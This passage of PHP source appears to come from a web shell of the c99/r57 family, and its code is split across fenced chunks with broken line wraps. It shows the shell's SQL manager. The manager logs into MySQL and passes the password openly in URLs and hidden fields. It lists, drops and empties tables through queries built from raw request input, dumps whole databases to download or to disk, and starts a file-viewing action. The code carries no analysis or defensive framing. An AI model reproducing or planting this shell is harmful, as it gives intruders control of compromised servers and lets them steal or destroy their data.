  $wdt = "<font color=red>[Read-Only]</font>";
  echo "<b>".view_perms_color($d)."</b>";
}
?>
</p>
<div>
<form method="POST"><input type=hidden name=act value="ls">
Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input
type=submit value="Go">
</form>
</div>
</td></tr></table>
<?php
//Information Table
echo "<table id=maininfo><tr><td width=\"100%\">\n";
//Action
if ($act == "") { $act = $dspact = "ls"; }
if ($act == "phpini" ) { get_phpini(); }
if ($act == "sql") {
  $sql_surl = $surl."act=sql";
  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  $sql_surl .= "&";
  echo "<h4>Attention! SQL-Manager is <u>NOT</u> a ready module! Don't reports bugs.
</h4>".
       "<table>".
       "<tr><td width=\"100%\" colspan=2>";
  if ($sql_server) {
```

```
    $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
    $err = mysql_smarterror();
    @mysql_select_db($sql_db,$sql_sock);
    if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock);
$sql_query_error = mysql_smarterror();}
  }
  else {$sql_sock = FALSE;}
  echo ".: SQL Manager :.<br>";
  if (!$sql_sock) {
    if (!$sql_server) {echo "NO CONNECTION";}
    else {echo "Can't connect! ".$err;}
  }
  else {
    $sqlquicklaunch = array();
    $sqlquicklaunch[] =
array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspe
cialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecia
lchars($sql_port)."&");
    $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
    $sqlquicklaunch[] = array("Server-
status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialch
ars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars
($sql_port)."&sql_act=serverstatus");
    $sqlquicklaunch[] = array("Server
variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecia
lchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialch
ars($sql_port)."&sql_act=servervars");
    $sqlquicklaunch[] =
array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".ht
mlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".html
specialchars($sql_port)."&sql_act=processes");
    $sqlquicklaunch[] = array("Logout",$surl."act=sql");
    echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in
".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as
".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password -
\"".htmlspecialchars($sql_passwd)."\")<br>";
    if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a
href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  }
```

```
  echo "</td></tr><tr>";
  if (!$sql_sock) {
    echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
    echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  }
  else {
    //Start left panel
    if (!empty($sql_db)) {
      ?><td width="25%" height="100%" valign="top"><a href="act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
      <?php
      $result = mysql_list_tables($sql_db);
      if (!$result) {echo mysql_smarterror();}
      else {
        echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
        $c = 0;
        while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
        if (!$c) {echo "No tables found in database.";}
      }
    }
    else {
      ?><td width="1" height="100" valign="top"><a href="><b>Home</b></a><hr size="1"
```

```
noshade>
    <?php
    $result = mysql_list_dbs($sql_sock);
    if (!$result) {echo mysql_smarterror();}
    else {
      ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo
htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php
echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php
echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
       <?php
       $c = 0;
       $dbs = "";
       while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if
($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
       echo "<option value=\"\">Databases (".$c.")</option>";
       echo $dbs;
     }
    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input
type="submit" value="Go"></form>
    <?php
   }
   //End left panel
   echo "</td><td width=\"100%\">";
   //Start center panel
   $diplay = TRUE;
   if ($sql_db) {
    if (!is_numeric($c)) {$c = 0;}
    if ($c == 0) {$c = "no";}
    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB
(".htmlspecialchars($sql_db).").<br>";
    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a
href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
    echo "</b></center>";
    $acts = array("","dump");
    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v)
{$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .=
```

```
"DELETE FROM `".$v."` \n";} $sql_act = "query";}
    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl)
{$dmptbls = array($sql_tbl);} $sql_act = "dump";}
    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v)
{$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v)
{$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v)
{$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v)
{$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query =
"DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE *
FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act
= "query";}
    elseif ($sql_tbl_act == "insert") {
      if ($sql_tbl_insert_radio == 1) {
        $keys = "";
        $akeys = array_keys($sql_tbl_insert);
        foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
        if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
        $values = "";
        $i = 0;
        foreach (array_values($sql_tbl_insert) as $v) {if ($funct =
$sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if
($funct) {$values .= ")";} $values .= ", "; $i++;}
        if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
        $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
        $sql_act = "query";
        $sql_tbl_act = "browse";
      }
      elseif ($sql_tbl_insert_radio == 2) {
        $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
        $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT
1;";
        $result = mysql_query($sql_query) or print(mysql_smarterror());
        $result = mysql_fetch_array($result, MYSQL_ASSOC);
        $sql_act = "query";
        $sql_tbl_act = "browse";
```

```
    }
   }
   if ($sql_act == "query") {
    echo "<hr size=\"1\" noshade>";
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error)
{$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
    if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr>
<td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit))
{echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea
name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br>
<br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\"
name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\"
name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\"
value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\"
value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
   }
   if (in_array($sql_act,$acts)) {
    ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1">
<b>Create new table:</b>
    <form action="<?php echo $surl; ?>">
    <input type="hidden" name="act" value="sql">
    <input type="hidden" name="sql_act" value="newtbl">
    <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?
>">
    <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login);
?>">
    <input type="hidden" name="sql_passwd" value="<?php echo
htmlspecialchars($sql_passwd); ?>">
    <input type="hidden" name="sql_server" value="<?php echo
htmlspecialchars($sql_server); ?>">
    <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?
>">
    <input type="text" name="sql_newtbl" size="20">
    <input type="submit" value="Create">
    </form></td>
    <td width="30%" height="1"><b>Dump DB:</b>
    <form action="<?php echo $surl; ?>">
    <input type="hidden" name="act" value="sql">
```

```
<input type="hidden" name="sql_act" value="dump">
<input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?
>">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login);
?>">
<input type="hidden" name="sql_passwd" value="<?php echo
htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo
htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo
htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?
php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">
<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%"
height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td>
<td width="30%" height="1"></td></tr></table>
<?php
if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
if ($sql_act == "newtbl") {
  echo "<b>";
  if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
    echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b>
<br>";
  }
  else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b>
".mysql_smarterror();}
}
elseif ($sql_act == "dump") {
  if (empty($submit)) {
    $diplay = FALSE;
    echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input
type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\"
value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\"
value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\"
value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\"
value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\"
value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\"
value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
    echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\"
value=\"".urlencode($sql_db)."\"><br><br>";
    $v = join (";",$dmptbls);
```

```
        echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input
type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\">
<br><br>";
        if ($dump_file) {$tmp = $dump_file;}
        else {$tmp =
htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-
s").".sql");}
        echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\"
value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
        echo "<b>Download: </b> <input type=\"checkbox\"
name=\"sql_dump_download\" value=\"1\" checked><br><br>";
        echo "<b>Save to file: </b> <input type=\"checkbox\"
name=\"sql_dump_savetofile\" value=\"1\" checked>";
        echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b>
<sup>1</sup></b> - all, if empty";
        echo "</form>";
      }
      else {
        $diplay = TRUE;
        $set = array();
        $set["sock"] = $sql_sock;
        $set["db"] = $sql_db;
        $dump_out = "download";
        $set["print"] = 0;
        $set["nl2br"] = 0;
        $set[""] = 0;
        $set["file"] = $dump_file;
        $set["add_drop"] = TRUE;
        $set["onlytabs"] = array();
        if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
        $ret = mysql_dump($set);
        if ($sql_dump_download) {
          @ob_clean();
          header("Content-type: application/octet-stream");
          header("Content-length: ".strlen($ret));
          header("Content-disposition: attachment;
filename=\"".basename($sql_dump_file)."\";");
          echo $ret;
          exit;
```

```
          }
          elseif ($sql_dump_savetofile) {
            $fp = fopen($sql_dump_file,"w");
            if (!$fp) {echo "<b>Dump error! Can't write to
\"".htmlspecialchars($sql_dump_file)."\"";}
            else {
              fwrite($fp,$ret);
              fclose($fp);
              echo "<b>Dumped! Dump has been writed to
\"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")
</b>.";
            }
          }
          else {echo "<b>Dump: nothing to do!</b>";}
        }
      }
      if ($diplay) {
   if (!empty($sql_tbl)) {
    if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
    $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
    $count_row = mysql_fetch_array($count);
    mysql_free_result($count);
    $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
    $tbl_struct_fields = array();
    while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
    if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
    if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
    if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
    if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
    $perpage = $sql_tbl_le - $sql_tbl_ls;
    if (!is_numeric($perpage)) {$perpage = 10;}
    $numpages = $count_row[0]/$perpage;
    $e = explode(" ",$sql_order);
    if (count($e) == 2) {
      if ($e[0] == "d") {$asc_desc = "DESC";}
      else {$asc_desc = "ASC";}
      $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
    }
    else {$v = "";}
```

```
    $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
    $result = mysql_query($query) or print(mysql_smarterror());
    echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)."
(".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
    echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b>
Structure </b>]</a>   ";
    echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b>
Browse </b>]</a>   ";
    echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">
[<b> Dump </b>]</a>   ";
    echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ 
<b>Insert</b> ]</a>   ";
    if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
    if ($sql_tbl_act == "insert") {
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
      if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
      else {
        echo "<br><br><b>Inserting row into table:</b><br>";
        if (!empty($sql_tbl_insert_q)) {
          $sql_query = "SELECT * FROM `".$sql_tbl."`";
          $sql_query .= " WHERE".$sql_tbl_insert_q;
          $sql_query .= " LIMIT 1;";
          $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
          $values = mysql_fetch_assoc($result);
          mysql_free_result($result);
        }
        else {$values = array();}
        echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b>
</td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
        foreach ($tbl_struct_fields as $field) {
          $name = $field["Field"];
          if (empty($sql_tbl_insert_q)) {$v = "";}
          echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td>
<select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\">
</option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option>
<option>ASCII</option><option>CHAR</option><option>RAND</option>
<option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option>
<option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option>
<option>LCASE</option><option>UCASE</option><option>NOW</option>
```

```
<option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option>
<option>FROM_UNIXTIME</option><option>PERIOD_ADD</option>
<option>PERIOD_DIFF</option><option>TO_DAYS</option>
<option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option>
<option>CONCAT</option></select></td><td><input type=\"text\"
name=\"sql_tbl_insert[".htmlspecialchars($name)."]\"
value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
          $i++;
        }
        echo "</table><br>";
        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\"";  if
(empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\"
name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input
type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
      }
    }
    if ($sql_tbl_act == "browse") {
      $sql_tbl_ls = abs($sql_tbl_ls);
      $sql_tbl_le = abs($sql_tbl_le);
      echo "<hr size=\"1\" noshade>";
      echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\"
alt=\"Pages\"> ";
      $b = 0;
      for($i=0;$i<$numpages;$i++) {
        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a
href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&
sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
        echo $i;
        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u>
</a>";}
        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
        else {echo " ";}
      }
      if ($i == 0) {echo "empty";}
      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input
type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input
type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input
```

```
type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input
type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input
type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input
type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input
type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:
</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:
</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input
type=\"submit\" value=\"View\"></form>";
        echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666
cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
        echo "<tr>";
        echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
        for ($i=0;$i<mysql_num_fields($result);$i++) {
          $v = mysql_field_name($result,$i);
          if ($e[0] == "a") {$s = "d"; $m = "asc";}
          else {$s = "a"; $m = "desc";}
          echo "<td>";
          if (empty($e[0])) {$e[0] = "a";}
          if ($e[1] != $v) {echo "<a
href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql
_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
          else {echo "<b>".$v."</b><a
href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql
_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\"
width=\"14\" alt=\"".$m."\"></a>";}
          echo "</td>";
        }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` =
'".addslashes($v)."' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
```

```
      {
       $v = htmlspecialchars($v);
       if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
       echo "<td>".$v."</td>";
       $i++;
      }
      echo "<td>";
      echo "<a
href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql
_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w."
LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\"
width=\"11\" border=\"0\"></a> ";
      echo "<a
href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."
&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img
src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\">
</a> ";
      echo "</td>";
      echo "</tr>";
     }
     mysql_free_result($result);
     echo "</table><hr size=\"1\" noshade><p align=\"left\"><img
src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
     echo "<option value=\"\">With selected:</option>";
     echo "<option value=\"deleterow\">Delete</option>";
     echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
    }
   }
   else {
    $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
    if (!$result) {echo mysql_smarterror();}
    else
    {
     echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666
cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr>
<td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center>
<b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td>
<b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b>
</td></tr>";
```

```
    $i = 0;
    $tsize = $trows = 0;
    while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
    {
     $tsize += $row["Data_length"];
     $trows += $row["Rows"];
     $size = view_size($row["Data_length"]);
     echo "<tr>";
     echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
     echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\">
<b>".$row["Name"]."</b></a> </td>";
     echo "<td>".$row["Rows"]."</td>";
     echo "<td>".$row["Type"]."</td>";
     echo "<td>".$row["Create_time"]."</td>";
     echo "<td>".$row["Update_time"]."</td>";
     echo "<td>".$size."</td>";
     echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE
FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\"
alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>  <a
href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE
`".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\"
height=\"13\" width=\"11\" border=\"0\"></a> <a
href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img
src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\"
border=\"0\"></a> </td>";
     echo "</tr>";
     $i++;
    }
    echo "<tr bgcolor=\"000000\">";
    echo "<td><center><b>+</b></center></td>";
    echo "<td><center><b>".$i." table(s)</b></center></td>";
    echo "<td><b>".$trows."</b></td>";
    echo "<td>".$row[1]."</td>";
    echo "<td>".$row[10]."</td>";
    echo "<td>".$row[11]."</td>";
    echo "<td><b>".view_size($tsize)."</b></td>";
    echo "<td></td>";
    echo "</tr>";
    echo "</table><hr size=\"1\" noshade><p align=\"right\"><img
```

```
src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td
width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input
type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo
htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php
echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php
echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb"
size="20"> <input type="submit" value="Create"></form></td><td width="30%"
height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden"
name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input
type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input
type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?
>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?
